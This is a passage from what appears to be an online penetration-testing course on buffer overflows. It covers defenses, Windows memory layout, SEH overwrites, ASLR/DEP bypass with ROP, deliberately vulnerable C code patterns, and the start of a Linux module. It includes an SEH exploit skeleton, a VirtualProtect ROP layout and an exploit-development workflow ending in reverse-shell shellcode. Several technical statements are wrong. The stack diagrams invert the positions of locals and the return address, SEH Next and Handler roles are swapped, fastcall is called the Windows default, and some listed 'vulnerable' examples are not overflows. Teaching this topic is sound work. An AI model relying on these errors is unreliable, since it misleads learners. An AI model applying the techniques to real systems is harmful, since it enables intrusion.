NX/DEP Prevents code execution in data regions High (requires ROP) Very High
ASLR Randomizes memory addresses High (needs info leak) Very High
PIE Randomizes executable base High (needs info leak) High
FORTIFY_SOURCE Runtime bounds checking Medium Good for common functions
CFI Validates indirect jumps Very High Emerging technology
🛠️ Safe Coding Practices
✅ DO:
  • Use strncpy() instead of strcpy()
  • Use snprintf() instead of sprintf()
  • Use fgets() instead of gets()
  • Always specify field widths in scanf(): %10s
  • Check allocation sizes for integer overflows
  • Use safe string libraries (strlcpy, strlcat on BSD)
  • Consider memory-safe languages (Rust, Go, Java)
❌ DON'T:
  • Don't trust user input length
  • Don't use unsafe functions
  • Don't assume strncpy() null-terminates
  • Don't use gets() ever
  • Don't ignore compiler warnings
  • Don't disable security features
  • Don't roll your own crypto/memory management
🔬 Example: Safe vs Unsafe
Unsafe (Vulnerable):
char buf[10];
strcpy(buf, user_input);  // DANGER!

char log[256];
sprintf(log, "User: %s", user);  // DANGER!

gets(buf);  // EXTREMELY DANGEROUS!
                        
Safe (Protected):
char buf[10];
strncpy(buf, user_input, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';  // Ensure null termination

char log[256];
snprintf(log, sizeof(log), "User: %s", user);

fgets(buf, sizeof(buf), stdin);  // Safe
                        
🔮 The Future: Memory-Safe Languages

Modern languages eliminate entire classes of memory vulnerabilities:

Rust

Ownership model, borrow checker, no unsafe code by default

Go

Garbage collected, bounds checking on slices

Java

JVM manages memory, array bounds checking

Python

Interpreted, automatic memory management

However, C and C++ will remain critical for systems programming, embedded devices, and legacy code for decades.

🛡️
Defense in Depth

No single defense is perfect. Modern systems combine multiple layers: safe coding, compiler protections, runtime checks, and OS-level randomization. Together, they make exploitation significantly harder.


💥

Module 13: Introduction to Buffer Overflows Successfully Completed

You've mastered the fundamentals of buffer overflows, memory layout, and modern defenses!

Module Complete
📋 What You've Learned
✓ Buffer Overflow
✓ Memory Layout
✓ Stack vs Heap
✓ Unsafe Functions
✓ Stack Canaries
✓ ASLR
✓ NX/DEP
✓ PIE
✓ Safe Coding
✓ Modern Defenses

You have successfully completed this module of Penetration Testing Mastery Course.

Continue your journey — Continue to Module 14: Windows Buffer Overflows →


🪟 Module 14 – Windows Buffer Overflows: Understanding Windows-Specific Memory Corruption

Learn Windows memory structure, common overflow causes, Structured Exception Handling, ASLR and DEP protections, and vulnerable patterns in Windows applications

🎯

Module Learning Objectives

By the end of this module, you'll understand Windows memory layout, identify common overflow causes in Windows applications, master Structured Exception Handling concepts, comprehend ASLR and DEP protections, and recognize vulnerable patterns in Windows software.

⚠️

Important Warning

Buffer overflow techniques are explained for educational and defensive purposes only. Exploiting these vulnerabilities on systems you don't own is illegal. Always practice in controlled lab environments with proper authorization, such as virtual machines and intentionally vulnerable applications.


14.1 Windows Memory Structure: How Windows Organizes Memory

Windows has a unique memory structure that differs from Linux in several key ways. Understanding this layout is crucial for both exploiting and defending Windows applications.

Windows uses a flat 32-bit or 64-bit address space, but organizes memory into several key regions with specific purposes. The memory layout affects how buffer overflows behave and what exploitation techniques are possible.

🏗️ Windows Process Memory Layout (32-bit)
+------------------------+ 0xFFFFFFFF (4GB)
|     Kernel Mode        |
|    (2GB - 4GB)         |
+------------------------+ 0x80000000 (2GB)
|     User Mode          |
|    (0GB - 2GB)         |
|                        |
| +--------------------+ |
| |      Stack         | | (Grows downward)
| |        ↓           | |
| +--------------------+ |
| |        ↑           | |
| |      Heap          | | (Grows upward)
| +--------------------+ |
| |      .DATA         | | (Initialized data)
| +--------------------+ |
| |      .BSS          | | (Uninitialized data)
| +--------------------+ |
| |      .TEXT (Code)  | | (Executable)
| +--------------------+ |
| |      .PDR          | | (Process Data Region)
| +--------------------+ |
| |      Environment   | |
+------------------------+ 0x00400000 (Default base)
                            

2GB

User mode space (32-bit)


PE

Portable Executable format


DLLs

Dynamic libraries at varying addresses

📊 Key Differences from Linux Memory Layout
Aspect Windows Linux
Executable Format PE (Portable Executable) ELF (Executable and Linkable Format)
Default Base Address 0x00400000 (32-bit), 0x140000000 (64-bit) 0x08048000 (32-bit), 0x400000 (64-bit often PIE)
Kernel/User Split 2GB/2GB or 1GB/3GB (configurable) 1GB/3GB typical (kernel at high addresses)
DLL/Shared Library Loading Rebased if address conflict, ASLR randomizes Position-independent code, ASLR randomizes
Stack Growth Downward (same as Linux) Downward
Heap Implementation Windows Heap Manager (NT Heap) ptmalloc, jemalloc, tcmalloc
Thread Local Storage TIB (Thread Information Block) at FS:[0] Thread Local Storage in TLS segment
🧩 Windows Memory Regions in Detail
📝 .TEXT Section (Code)

Contains executable code of the program.

  • Read-only and executable (RX) by default
  • Function prologues and epilogues
  • Import Address Table (IAT) for DLL calls
  • Export table for functions exposed by DLLs

Security relevance: Overflows rarely target code section directly, but ROP gadgets are found here.

📊 .DATA and .BSS Sections

Store global and static variables.

  • .DATA: Initialized global variables (read-write)
  • .BSS: Uninitialized global variables (zero-initialized)
  • .RDATA: Read-only data (strings, constants)

Security relevance: Overflows can modify function pointers, global flags, or critical data.

🥞 Stack

Function call information, local variables.

  • Grows downward (lower addresses)
  • Each function call pushes a stack frame
  • Contains return addresses, parameters, locals
  • Windows uses fastcall convention by default (first args in ECX/EDX)
Stack frame layout:
[  Local vars    ]  (higher address)
[  Saved EBP     ]
[  Return address]
[  Function args ]  (lower address)
                        
🗄️ Heap

Dynamic memory allocated at runtime.

  • Windows Heap Manager (NT Heap) handles allocations
  • Heap chunks have metadata (chunk headers)
  • Multiple heaps per process (default heap, CRT heap, private heaps)
  • LFH (Low Fragmentation Heap) for small allocations
bg-light border rounded overflow-auto
Heap chunk structure:
[  Chunk Header  ]  (size, flags, etc.)
[  User Data     ]  (what program requested)
[  Next chunk... ]
                        
🔍 Thread Information Block (TIB)

The TIB is a critical Windows structure located at FS:[0] (32-bit) or GS:[0] (64-bit). It contains thread-specific information.

TIB Contents Include:
  • Structured Exception Handling (SEH) chain head
  • Thread ID and Process ID
  • Last error value
  • Stack base and limit
  • Thread Local Storage (TLS) array
TIB Layout (32-bit):
FS:[0]  - Current SEH frame
FS:[4]  - Stack base (high address)
FS:[8]  - Stack limit (low address)
FS:[12] - SubSystemTib
FS:[16] - FiberData
FS:[20] - ArbitraryUserPointer
FS:[24] - Self (pointer to TIB)
FS:[32] - Thread ID
FS:[36] - Process ID
                        

Security relevance: SEH overwrite exploits target the SEH chain pointer at FS:[0].

📦 Portable Executable (PE) Format

Windows executables and DLLs use the PE format. Understanding PE structure helps with exploit development and reverse engineering.

PE Structure:
+---------------------+
| DOS Header (MZ)     |
+---------------------+
| DOS Stub            |
+---------------------+
| PE Header           |
+---------------------+
| Section Headers     |
+---------------------+
| Section 1 (.text)   |
+---------------------+
| Section 2 (.data)   |
+---------------------+
| ...                 |
+---------------------+
                        
Important PE Concepts:
  • ImageBase: Preferred load address (ASLR overrides)
  • Section characteristics: Read, Write, Execute permissions
  • Import Table (IAT): Points to imported functions
  • Export Table: Functions exported by DLLs
  • Base Relocations: Fixups when DLL can't load at preferred address
💡 Key Insight: Windows memory structure provides multiple attack surfaces: stack overflows (return address), SEH overwrites (exception handling), heap overflows (metadata corruption), and format string vulnerabilities. Each requires different exploitation techniques.

14.2 Common Overflow Causes in Windows: Vulnerable Functions and Patterns

Windows applications, especially those written in C/C++, are susceptible to buffer overflows from similar root causes as Linux, but with Windows-specific functions and patterns.

🔴 Dangerous Windows-Specific Functions
Function Library Problem Safe Alternative
strcpy(), strcat() CRT (C Runtime) No bounds checking strcpy_s(), strcat_s()
gets() CRT No bounds checking, reads until newline gets_s(), fgets()
sprintf(), vsprintf() CRT No bounds checking on output sprintf_s(), vsprintf_s()
scanf(), sscanf() CRT Can overflow if %s used without width Use width specifiers: %10s
wcscpy(), wcscat() CRT (wide char) Wide character versions of unsafe functions wcscpy_s(), wcscat_s()
lstrcpy(), lstrcat() kernel32.dll Windows API string functions without bounds StringCchCopy(), StringCbCopy()
wsprintf() user32.dll Format string without bounds StringCchPrintf()
memcpy() CRT Copies specified length, but if length is attacker-controlled Validate length before use
🔴 CRT Safe Functions (_s suffix)

Microsoft introduced safer versions of CRT functions with the _s suffix, which include bounds checking.

Unsafe vs Safe Examples:
// Unsafe
char buffer[10];
strcpy(buffer, user_input);  // DANGER!

// Safe
char buffer[10];
strcpy_s(buffer, sizeof(buffer), user_input);  // SAFE
                        
Behavior of _s functions:
  • Check buffer size before copying
  • Invoke constraint handler on failure
  • Set error code (ERANGE) and return
  • Terminate program if no handler
⚠️ Note: These functions are not available on all platforms (Windows only) and may not be enabled by default without defining __STDC_WANT_LIB_EXT1__.
🔴 Windows API StringCch Functions

The StringCch family of functions (from strsafe.h) provide safe string handling with consistent behavior.

#include <strsafe.h>

// Safe alternatives
HRESULT StringCchCopy(char *dest, size_t destSize, const char *src);
HRESULT StringCchCat(char *dest, size_t destSize, const char *src);
HRESULT StringCchPrintf(char *dest, size_t destSize, const char *format, ...);

// Example usage
char buffer[10];
HRESULT hr = StringCchCopy(buffer, 10, user_input);
if (FAILED(hr)) {
    // Handle error (buffer too small)
}
                

Advantages: Consistent return values (S_OK on success), always null-terminates, available in kernel mode too.

🔬 Common Vulnerable Patterns in Windows Code
Pattern 1: Command Line Argument Copy
int main(int argc, char *argv[]) {
    char buffer[100];
    
    // Vulnerable if argv[1] > 100
    strcpy(buffer, argv[1]);
    
    return 0;
}
                        
Pattern 2: Environment Variable Copy
void read_env() {
    char buffer[256];
    char *path = getenv("PATH");
    
    // Vulnerable if PATH > 256
    strcpy(buffer, path);
}
                        
Pattern 3: Registry Value Reading
void read_registry() {
    HKEY hKey;
    char buffer[128];
    DWORD size = sizeof(buffer);
    
    // If registry value > 128, overflow in RegQueryValueEx
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\MyApp", 0, KEY_READ, &hKey);
    RegQueryValueEx(hKey, "MyValue", NULL, NULL, (LPBYTE)buffer, &size);
    RegCloseKey(hKey);
}
                        
Pattern 4: Network Data Reception
void handle_client(SOCKET client) {
    char buffer[512];
    
    // recv returns number of bytes received
    // If client sends >512, overflow
    recv(client, buffer, 1024, 0);  // DANGER! Requesting 1024 into 512 buffer
}
                        
Pattern 5: File Reading
void read_file(const char *filename) {
    char buffer[100];
    FILE *f = fopen(filename, "r");
    
    // If file contains >100 characters, overflow
    fgets(buffer, 200, f);  // DANGER! Reading 200 into 100 buffer
    fclose(f);
}
                        
Pattern 6: Windows Message Processing
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    char buffer[64];
    
    if (msg == WM_COPYDATA) {
        COPYDATASTRUCT *cds = (COPYDATASTRUCT*)lParam;
        // Vulnerable if cds->cbData > 64
        memcpy(buffer, cds->lpData, cds->cbData);
    }
    return DefWindowProc(hWnd, msg, wParam, lParam);
}
                        
🔬 Integer Overflow Leading to Buffer Overflow

Integer overflows can lead to undersized allocations, which then cause buffer overflows when data is copied.

void vulnerable_alloc(unsigned int size, char *data) {
    char *buffer;
    
    // If size is 0xFFFFFFFF, adding 1 wraps to 0
    buffer = (char*)malloc(size + 1);  // Allocates 0 bytes!
    
    if (buffer) {
        // Copies huge amount into tiny buffer
        memcpy(buffer, data, size);  // Overflow!
    }
}
                

Exploit: Pass size = 0xFFFFFFFF, malloc(0) returns a small heap chunk, then memcpy copies 4GB into it.

⚠️ Windows-Specific Note: Many Windows applications are written in C++ and use classes with virtual functions. Overflows can overwrite virtual function tables (vtable), leading to control flow hijacking.

14.3 Structured Exception Handling (SEH): Windows Exception Mechanism

Structured Exception Handling is Windows' mechanism for handling hardware and software exceptions. It provides a unique attack surface for buffer overflows that doesn't exist on Linux.

🔍 What is SEH?

SEH allows applications to handle exceptions gracefully. When an exception occurs (like access violation or division by zero), Windows walks a chain of exception handlers registered on the stack.

Each thread has a linked list of _EXCEPTION_REGISTRATION_RECORD structures stored on the stack, with the head pointer stored in the Thread Information Block (TIB) at FS:[0].

FS:[0]

Points to SEH chain head


Linked List

Exception handlers on stack

📋 SEH Chain Structure
struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;  // Pointer to next handler
    PEXCEPTION_ROUTINE Handler;                    // Pointer to handler function
};

// Chain traversal:
FS:[0] → [Next: 0x1234, Handler: func1] → [Next: 0x5678, Handler: func2] → [Next: 0xFFFFFFFF, Handler: final]
                                                                                          (end of chain)
                

When an exception occurs, the system walks this chain calling each handler until one handles the exception or the default handler is reached.

💥 SEH Overwrite Exploit

SEH overwrite is a classic Windows exploitation technique that targets the exception handler chain.

Vulnerable Code:
void vulnerable_function(char *input) {
    char buffer[100];
    
    __try {
        // Vulnerable copy
        strcpy(buffer, input);
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        printf("Exception caught!\n");
    }
}
                        
Stack Layout Before Overflow:
Higher addresses
+-----------------+
| SEH Next        |  ← pointer to next handler
+-----------------+
| SEH Handler     |  ← pointer to handler function
+-----------------+
| buffer[0-99]    |
+-----------------+
| Saved EBP       |
+-----------------+
| Return address  |
+-----------------+
Lower addresses
                        
Exploitation Process:
  1. Overflow buffer and overwrite SEH Next and Handler pointers
  2. Set SEH Next to a small value (like POP/POP/RET address)
  3. Set SEH Handler to address of a POP/POP/RET gadget
  4. Trigger exception (by overflowing or accessing invalid memory)
  5. POP/POP/RET unwinds stack and jumps to attacker's shellcode
🔧 POP/POP/RET Technique

The POP/POP/RET gadget is used to transfer control to shellcode after SEH overwrite.

; POP/POP/RET gadget
pop eax        ; Remove SEH Next from stack
pop ebx        ; Remove something else
ret             ; Return to address now at top of stack
                

Why it works:

  1. When exception occurs, system calls the handler pointed to by SEH Handler
  2. If that points to POP/POP/RET, it removes 8 bytes from stack
  3. The next value on stack (after the two POPs) is what RET jumps to
  4. Attacker places shellcode address at that location
💡 Finding POP/POP/RET: These gadgets are commonly found in loaded modules (EXE and DLLs) at addresses without null bytes and not affected by ASLR (if module not randomized).
🛡️ SEH Protections
SafeSEH

When linking with /SAFESEH, the compiler creates a table of valid exception handlers. At runtime, Windows checks that the handler address is in this table.

Bypass: Use handlers from modules without SafeSEH, or use other techniques.

SEHOP (SEH Overwrite Protection)

Introduced in Windows Vista SP1. Checks the integrity of the SEH chain by validating that the last handler points to a system handler.

Bypass: Difficult; requires maintaining chain integrity.

ASLR

Randomizes addresses of modules, making POP/POP/RET gadgets harder to find.

Bypass: Information leaks to disclose module base addresses.

🔬 SEH Exploit Example
// Vulnerable program compiled without SafeSEH
#include <windows.h>
#include <stdio.h>

void vulnerable(char *input) {
    char buffer[100];
    
    __try {
        strcpy(buffer, input);  // Overflow here
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        printf("Exception handled\n");
    }
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable(argv[1]);
    }
    return 0;
}

/*
Exploit structure:
[ 100 bytes of junk ][ SEH Next ][ SEH Handler ][ Shellcode ]

- SEH Next: Address of POP/POP/RET (from non-ASLR module)
- SEH Handler: Small value that points to SEH Next + offset
- When exception occurs, POP/POP/RET executes, then jumps to shellcode
*/
                
✔ Key Insight: SEH exploits are Windows-specific and bypass stack canaries because they target exception handlers rather than return addresses. Modern protections like SafeSEH and SEHOP make this technique much harder.

14.4 ASLR & DEP Concepts: Windows Memory Protections

Modern Windows versions implement multiple memory protection mechanisms to prevent exploitation. Understanding these is essential for both attackers (to bypass) and defenders (to configure properly).

🛡️ DEP (Data Execution Prevention)

DEP marks certain memory regions as non-executable. The stack and heap are marked non-executable by default, preventing classic shellcode injection.

Hardware DEP:
  • Uses CPU NX bit (No-eXecute) on AMD64/Intel
  • Page-level execution prevention
  • Enabled by default for 64-bit processes
  • Can be disabled per-process or system-wide
Software DEP:
  • Used on older CPUs without NX
  • Limited protection (exception handler validation)
  • Less effective than hardware DEP
Checking DEP Status:
# Using PowerShell
Get-Process -Name notepad | Select-Object -ExpandProperty Modules | Where-Object {$_.ModuleName -like "*.exe"}

# Using Process Explorer
View → System Information → DEP tab

# At compile time
cl /NXCOMPAT program.c    # Enable DEP
cl /NXCOMPAT:NO program.c # Disable DEP
                
Bypass Techniques:
  • Return-to-libc (ret2libc): Call existing functions like system()
  • ROP (Return-Oriented Programming): Chain small instruction sequences (gadgets)
  • VirtualProtect: Call VirtualProtect to make stack executable, then jump to shellcode
🔄 ASLR (Address Space Layout Randomization)

ASLR randomizes the base addresses of executable images, DLLs, stack, and heap. This makes it difficult for attackers to predict where their shellcode or ROP gadgets will be located.

What Gets Randomized:
  • Executable image base (if compiled with /DYNAMICBASE)
  • DLL load addresses
  • Stack base
  • Heap base
  • TEB and PEB addresses
ASLR Entropy (32-bit):
  • Images: 8 bits of randomness (256 possible bases)
  • DLLs: 8 bits + rebase if conflict
  • Stack: 19 bits of randomness
  • Heap: 5 bits (lower entropy)
Checking ASLR Support:
# At compile time (Visual Studio)
cl /DYNAMICBASE program.c    # Enable ASLR
cl /DYNAMICBASE:NO program.c # Disable ASLR

# View loaded DLL addresses
!peb in WinDbg
listdlls in Sysinternals

# Check if ASLR is enabled system-wide
# Control Panel → System → Advanced → Performance → DEP (includes ASLR)
                
📦 ASLR in Different Windows Versions
Windows Version ASLR Implementation Notes
Windows XP SP2/SP3 Limited ASLR (system DLLs only) No ASLR for executables, optional for DLLs
Windows Vista/7 Full ASLR for all modules Executables need /DYNAMICBASE, better entropy
Windows 8/8.1 High entropy ASLR (64-bit) 24 bits of randomness for 64-bit
Windows 10/11 Enhanced ASLR, bottom-up randomization CFG (Control Flow Guard) integration
🔐 Bypassing ASLR and DEP

Modern exploits often combine multiple techniques to bypass both protections.

ASLR Bypass Techniques:
  • Information leaks: Read memory to disclose module addresses
  • Non-ASLR modules: Find modules compiled without /DYNAMICBASE
  • Partial overwrites: Modify only low-order bytes of addresses
  • Brute force: On 32-bit systems with low entropy
  • Heap spraying: Fill predictable addresses with shellcode
DEP Bypass Techniques:
  • ROP (Return-Oriented Programming): Chain existing code
  • VirtualProtect ROP: Change memory protection
  • WriteProcessMemory ROP: Write shellcode to executable memory
  • ret2libc: Call system functions directly
🛠️ ROP (Return-Oriented Programming) Example

ROP chains small instruction sequences (gadgets) ending in ret to perform arbitrary computation.

// Gadget examples (x86)
pop eax; ret          ; Load value into eax
pop ebx; ret          ; Load value into ebx
add eax, ebx; ret     ; Add ebx to eax
mov [ecx], eax; ret   ; Write eax to address in ecx

// ROP chain to call VirtualProtect
Stack layout:
[ address of VirtualProtect ]
[ return address after call ]
[ lpAddress (address of shellcode) ]
[ dwSize (size) ]
[ flNewProtect (PAGE_EXECUTE_READWRITE = 0x40) ]
[ lpflOldProtect (pointer to variable) ]

// After VirtualProtect makes memory executable,
// jump to shellcode
                
📊 Windows Protection Features Summary
Protection Description Introduced Bypass Difficulty
DEP (Hardware) Non-executable stack/heap XP SP2 (2004) High (requires ROP)
ASLR Randomized memory addresses Vista (2007) High (needs info leak)
SafeSEH Validates exception handlers XP SP2 Medium
SEHOP Checks SEH chain integrity Vista SP1 (2008) Very High
CFG (Control Flow Guard) Validates indirect calls Windows 8.1 (2013) Extremely High
ACG (Arbitrary Code Guard) Prevents dynamic code generation Windows 10 (2016) Near impossible
⚠️ Reality Check: Modern Windows 10/11 applications with all protections enabled (ASLR, DEP, CFG, ACG) are extremely difficult to exploit. Most real-world exploits target older software or misconfigured systems.

14.5 Example Vulnerable Patterns: Real Windows Vulnerability Types

Understanding real-world vulnerable patterns helps in both identifying vulnerabilities during code review and writing more secure code.

🔴 Pattern 1: Stack Buffer Overflow in Service

Windows services often run with SYSTEM privileges, making them high-value targets.

// Vulnerable service code
DWORD WINAPI ServiceHandler(DWORD dwControl) {
    char buffer[256];
    
    // Vulnerable if dwControl is from network input
    sprintf(buffer, "Service control code: %d", dwControl);
    OutputDebugString(buffer);
    
    return 0;
}

// Exploit: Send large control code that overflows buffer
// Overwrite return address to redirect execution
                

Real Example: MS08-067 (Conficker) - RPC buffer overflow in Server service.

🔴 Pattern 2: Heap Overflow in ActiveX Control

ActiveX controls in Internet Explorer were a common source of vulnerabilities.

// Vulnerable ActiveX method
STDMETHODIMP CMyControl::SetString(BSTR bstrData) {
    char buffer[100];
    
    // Convert BSTR to char*
    WideCharToMultiByte(CP_ACP, 0, bstrData, -1, 
                        buffer, sizeof(buffer), NULL, NULL);
    
    return S_OK;
}

// Exploit: Pass long string, overflow heap buffer
// Overwrite adjacent heap metadata or function pointers
                

Real Example: MS06-055 - Vector Markup Language (VML) buffer overflow in IE.

🔴 Pattern 3: Integer Overflow in Image Processing

Image and media parsing libraries often contain integer overflow vulnerabilities.

// Vulnerable image parser
void* parse_image(BYTE *data, DWORD size) {
    DWORD width = *(DWORD*)data;
    DWORD height = *(DWORD*)(data + 4);
    DWORD pixelSize = *(DWORD*)(data + 8);
    
    // Integer overflow if width*height*pixelSize > 0xFFFFFFFF
    DWORD bufferSize = width * height * pixelSize;
    
    BYTE *buffer = (BYTE*)malloc(bufferSize);  // Undersized allocation!
    
    // Copy image data - overflows if bufferSize calculation wrapped
    memcpy(buffer, data + 12, size - 12);
    
    return buffer;
}
                

Real Example: MS10-046 - Windows Shell LNK file parsing vulnerability (Stuxnet).

🔴 Pattern 4: Format String Vulnerability

Format string vulnerabilities are less common but still appear in Windows applications.

void log_error(char *msg) {
    char buffer[512];
    
    // Vulnerable format string
    sprintf(buffer, msg);  // If msg contains %n, can write memory
    
    OutputDebugString(buffer);
}

// Exploit: Pass "%n" to write to arbitrary memory
// Can overwrite return address or SEH handler
                

Real Example: MS05-058 - Exchange Server 5.5 IMAP service format string.

🔴 Pattern 5: Use-After-Free in Browser

Modern browsers (Chrome, Edge, IE) have had many use-after-free vulnerabilities in their JavaScript engines.

// Simplified vulnerable pattern
class Element {
    char name[32];
    virtual void render() { ... }
};

void process() {
    Element* e = new Element();
    
    // e is freed
    delete e;
    
    // e is still used! (use-after-free)
    e->render();  // Vulnerable
}

// Exploit: Allocate new object at same address
// Overwrite vtable pointer to redirect execution
                

Real Example: CVE-2021-26420 - SharePoint Server remote code execution via use-after-free.

🔴 Pattern 6: Kernel Mode Driver Overflow

Device drivers running in kernel mode are critical targets for privilege escalation.

// Vulnerable IOCTL handler in driver
NTSTATUS DeviceIoControlHandler(PDEVICE_EXTENSION devExt, 
                                 PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    
    char localBuffer[256];
    
    // Vulnerable if inputLength > 256
    memcpy(localBuffer, inputBuffer, inputLength);
    
    // ... processing
}
                

Real Example: CVE-2020-0796 - SMBv3 (SMBGhost) compression buffer overflow.

🔬 Exploit Development Process for Windows
  1. Fuzzing: Find crash by sending malformed input
  2. Crash Analysis: Determine offset to control EIP/SEH
  3. Bad Character Identification: Find which bytes break the exploit
  4. Module Analysis: Find non-ASLR modules for ROP gadgets
  5. ROP Chain Building: Construct ROP to bypass DEP
  6. Shellcode Generation: Create payload (reverse shell, etc.)
  7. Testing: Verify exploit works reliably
🔧 Tools for Windows Exploit Development
Immunity Debugger

GUI debugger with Python scripting

WinDbg

Microsoft debugger, kernel debugging

Mona.py

Immunity extension for exploit dev

MSF Venom

Shellcode generation

Process Monitor

File/registry monitoring

API Monitor

API call monitoring

Peach Fuzzer

Protocol fuzzing

GDB (WSL)

Linux debugging for cross-platform

💡
Practice Environments

To safely practice Windows buffer overflows, use:

  • Vulnserver (custom TCP server)
  • OSED/OSCP lab machines
  • VulnHub Windows machines
  • Custom compiled vulnerable apps

🪟

Module 14: Windows Buffer Overflows Successfully Completed

You've mastered Windows-specific buffer overflow concepts, protections, and vulnerable patterns!

Module Complete
📋 What You've Learned
✓ Windows Memory
✓ SEH Structure
✓ SEH Exploits
✓ DEP Protection
✓ ASLR
✓ SafeSEH
✓ SEHOP
✓ ROP Chains
✓ Vulnerable Patterns
✓ Exploit Tools

You have successfully completed this module of Penetration Testing Mastery Course.

Continue your journey — Continue to Module 15: Linux Buffer Overflows →


🐧 Module 15 – Linux Buffer Overflows: Understanding Linux Memory Corruption

Learn Linux memory model, stack frames and registers, overflow-prone code patterns, Linux-specific protections, and safe debugging techniques

🎯

Module Learning Objectives

By the end of this module, you'll understand Linux memory layout, master stack frames and register usage, identify overflow-prone code patterns, comprehend Linux-specific protections (NX, ASLR, PIE, RELRO), and learn safe debugging techniques with GDB.

⚠️

Important Warning

Buffer overflow techniques are explained for educational and defensive purposes only. Exploiting these vulnerabilities on systems you don't own is illegal. Always practice in controlled lab environments with proper authorization, such as virtual machines and intentionally vulnerable applications.


15.1 Linux Memory Model: How Linux Organizes Process Memory

Linux, like other Unix-like systems, organizes process memory in a specific layout that's crucial for understanding buffer overflows. The memory model determines where code, data, stack, and heap reside, and how they interact.

Linux uses a flat 32-bit or 64-bit address space with several segments. Understanding this layout is essential for both exploiting vulnerabilities and implementing defenses.

🏗️ Linux Process Memory Layout (32-bit)
+------------------------+ 0xFFFFFFFF (4GB)
|     Kernel Space       |
|    (1GB - 4GB)         |
+------------------------+ 0xC0000000 (3GB)
|     Stack              |  (Grows downward)
|           ↓            |
|                        |
|                        |
|           ↑            |
|     Heap               |  (Grows upward)
+------------------------+
|     BSS (uninitialized)|
+------------------------+
|     Data (initialized) |
+------------------------+
|     Text (Code)        |
+------------------------+ 0x08048000 (typical)
|     Reserved           |
+------------------------+ 0x00000000
                            

3GB/1GB

User/Kernel split (32-bit)


ELF

Executable and Linkable Format


0x08048000

Typical text segment base

📊 Linux Memory Segments in Detail
Segment Description Contents Permissions
Text (.text) Program code Machine instructions, read-only data Read-Execute (RX)
Data (.data) Initialized data Global/static variables with initial values Read-Write (RW)
BSS (.bss) Uninitialized data Global/static variables without initial values Read-Write (RW)
Heap Dynamic memory malloc(), new, brk/sbrk allocations Read-Write (RW), may be executable
Stack Function call data Local variables, return addresses, arguments Read-Write (RW), may be executable
Shared Libraries Dynamic libraries libc.so, ld-linux.so, etc. Various (RX for code, RW for data)
vsyscall/vvar Kernel helpers Fast system call interfaces Read-Execute
📏 64-bit Linux Memory Layout

64-bit systems have a much larger address space, typically using only the lower 47 bits (128 TB) for user space.

+------------------------+ 0x7FFFFFFFFFFF (128 TB)
|     Stack              |
|           ↓            |
|                        |
|           ↑            |
|     Heap               |
+------------------------+
|     Shared Libraries   |
+------------------------+
|     BSS                |
+------------------------+
|     Data               |
+------------------------+
|     Text               |
+------------------------+ 0x400000 (typical for non-PIE)
+------------------------+ 0x0000555555554000 (typical for PIE)
                

Key differences from 32-bit:

  • Much larger address space (128 TB user space)
  • Canonical addresses required (bits 48-63 must match bit 47)
  • PIE (Position Independent Executable) is common, randomizing text base
  • Addresses are 48-bit, not 64-bit fully used
📄 ELF (Executable and Linkable Format)

Linux executables use the ELF format. Understanding ELF helps with binary analysis and exploitation.

ELF Structure:
+---------------------+
| ELF Header          |
+---------------------+
| Program Headers     |  (for segments)
+---------------------+
| Section Headers     |  (for sections)
+---------------------+
| Sections:           |
| - .text             |
| - .data             |
| - .bss              |
| - .rodata           |
| - .plt              |
| - .got              |
| - .got.plt          |
| - .dynamic          |
+---------------------+
                        
Important ELF Concepts:
  • PLT (Procedure Linkage Table): Stubs for calling dynamic functions
  • GOT (Global Offset Table): Pointers to actual function addresses
  • RELRO (RELocation Read-Only): Protects GOT from overwrites
  • Entry point: _start symbol, not main()
  • Interpreter: ld-linux.so for dynamic linking
Viewing ELF Information:
# Check ELF header
readelf -h program

# List segments
readelf -l program

# Check security features
checksec --file=program
                        
🔍 Viewing Process Memory Maps

Linux provides the /proc/[pid]/maps file to view a process's memory layout in real-time.

# View memory map of current shell
$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 123456     /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 123456     /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 123456     /bin/cat
01a3d000-01a5e000 rw-p 00000000 00:00 0          [heap]
7f8a1c1b2000-7f8a1c37a000 r-xp 00000000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7f8a1c37a000-7f8a1c57a000 ---p 001c8000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7f8a1c57a000-7f8a1c57e000 r--p 001c8000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7f8a1c57e000-7f8a1c580000 rw-p 001cc000 08:01 789012     /lib/x86_64-linux-gnu/libc.so.6
7ffeef1f8000-7ffeef219000 rw-p 00000000 00:00 0          [stack]
7ffeef3fd000-7ffeef3ff000 r--p 00000000 00:00 0          [vvar]
7ffeef3ff000-7ffeef401000 r-xp 00000000 00:00 0          [vdso]
                

Format: start-end perms offset dev inode pathname

Permissions: r=read, w=write, x=execute, p=private, s=shared

🔬 Linux vs Windows Memory Comparison
Aspect Linux Windows
Executable Format ELF PE
Default Text Base (32-bit) 0x08048000 0x00400000
Kernel/User Split (32-bit) 1GB/3GB (typical) 2GB/2GB or 1GB/3GB
System Call Mechanism int 0x80 / syscall sysenter / syscall
Thread Local Storage GS segment (64-bit), no FS segment FS segment (32-bit), GS (64-bit)
Dynamic Linker ld-linux.so ntdll.dll + loader
Exception Handling Signals (SIGSEGV, etc.) SEH (Structured Exception Handling)
💡 Key Insight: Linux memory layout is more predictable than Windows in some ways (no SEH chains on stack), but modern protections like ASLR and PIE add significant randomness. Understanding the base layout is essential for both exploitation and defense.

15.2 Stack Frames & Registers: The x86 and x86-64 Calling Conventions

Understanding how functions use the stack and registers is fundamental to buffer overflow exploitation. The calling convention determines how arguments are passed, how the stack is managed, and where return addresses are stored.

🔢 x86 (32-bit) Register Overview
General Purpose:
  • EAX: Accumulator, return value
